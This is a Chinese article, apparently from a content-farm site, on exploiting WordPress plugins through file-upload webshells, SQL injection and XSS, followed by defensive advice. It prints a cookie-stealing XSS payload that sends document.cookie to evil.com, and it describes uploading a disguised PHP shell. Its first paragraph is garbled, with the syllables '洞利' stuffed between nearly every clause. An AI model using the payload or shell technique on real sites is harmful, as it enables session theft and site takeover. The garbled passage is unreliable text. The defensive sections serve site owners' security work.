当前位置: 当前位置:首页 > 休闲 > wordpress漏洞利用正文

wordpress漏洞利用

作者:综合 来源:知识 浏览: 【大 中 小】 发布时间:2026-10-17 06:04:17 评论数:

2023年冬天,洞利一个做外贸的洞利朋友半夜给我打电话,说网站首页被挂了一串阿拉伯语文字,洞利后台进不去。洞利我让他把FTP打开,洞利翻了翻日志,洞利发现攻击者是洞利从一个两年前就没更新过的Slider Revolution插件进来的。那个插件版本号还停在5.4.8,洞利漏洞编号CVE-2022-1020,洞利文件上传不过滤扩展名,洞利传个zip上去解压就能拿shell。洞利这事不新鲜,洞利但每次遇到都让人窝火——WordPress本身没那么脆弱,洞利烂在插件上的洞利洞实在太多。

要说漏洞利用,洞利得先明白攻击者盯的是什么。WordPress核心代码经过十几年打磨,远程代码执行这种级别的洞一年出不了两个,真出了也是全网地震。但插件和主题不一样。全球有六万多个免费插件,作者水平参差不齐,有人用extract($_POST)这种古董写法,有人把用户输入直接拼进SQL查询,还有人把API密钥硬编码在JS文件里。攻击者根本不用挖0day,写个爬虫扫wp-content/plugins/目录下的readme.txt,比对WPScan漏洞库,几分钟就能筛出一批有已知漏洞的站点。

拿文件上传漏洞来说。去年帮一个客户做应急,攻击者利用的是Contact Form 7某个扩展插件的漏洞。那个插件允许用户上传附件,但只在前端用JS校验了文件类型,后端PHP代码里move_uploaded_file之前压根没检查$_FILES['file']['type']。攻击者把shell.php改名为shell.php.jpg,上传时用Burp Suite改回Content-Type为image/jpeg,服务器就乖乖把文件写进了wp-content/uploads/2023/11/。更绝的是,有些插件连文件名都不重命名,直接保留原始名字,攻击者访问https://target.com/wp-content/uploads/2023/11/shell.php就能执行任意命令。

SQL注入在WordPress生态里同样常见。核心的$wpdb类提供了prepare方法防注入,但很多插件开发者图省事,直接写$wpdb->query("SELECT * FROM wp_users WHERE ID = " . $_GET['id'])。这种代码在代码审计时一眼就能看出来,用sqlmap跑一下就能脱库。我见过最离谱的一个电商插件,把整个wp_users表的内容——包括密码哈希——通过AJAX接口返回给前端,只因为开发者觉得“反正是登录用户才能访问”。

跨站脚本(XSS)就更泛滥了。WordPress的评论系统默认会转义HTML标签,但有些主题在输出评论内容时用了html_entity_decode,把转义又还原回去。攻击者在评论里插入<script>fetch('https://evil.com/steal?c='+document.cookie)</script>,管理员在后台审核评论时触发,cookie就被偷走了。拿到管理员cookie等于拿到后台,再配合插件编辑功能,直接往主题的functions.php里写一句话木马,整个站就沦陷了。

防御这事,说复杂也复杂,说简单也简单。我自己的做法是:禁用所有不用的插件和主题,只保留一个安全插件比如Wordfence,开启实时防火墙。wp-config.php里把DISALLOW_FILE_EDIT设为true,防止后台直接编辑PHP文件。数据库前缀别用默认的wp_,虽然这挡不住定向攻击,但能过滤掉一大批自动化扫描。最重要的是——别用盗版插件。那些“破解版”高级插件里塞后门的事,我一年能碰到七八次。

说到底,WordPress漏洞利用的本质是信息差。攻击者知道你的插件版本旧,知道你的主题有XSS,知道你的服务器没开WAF,而你什么都不知道。定期用WPScan扫一下自己的站,看看有没有已知漏洞,比事后找应急响应便宜得多。那个外贸朋友后来花了三千块找人清马,我告诉他这钱够买三年正版插件授权了。他沉默了几秒,说“我以为没人会盯上我这种小站”。攻击者才不管站大站小,能拿shell的就是好站。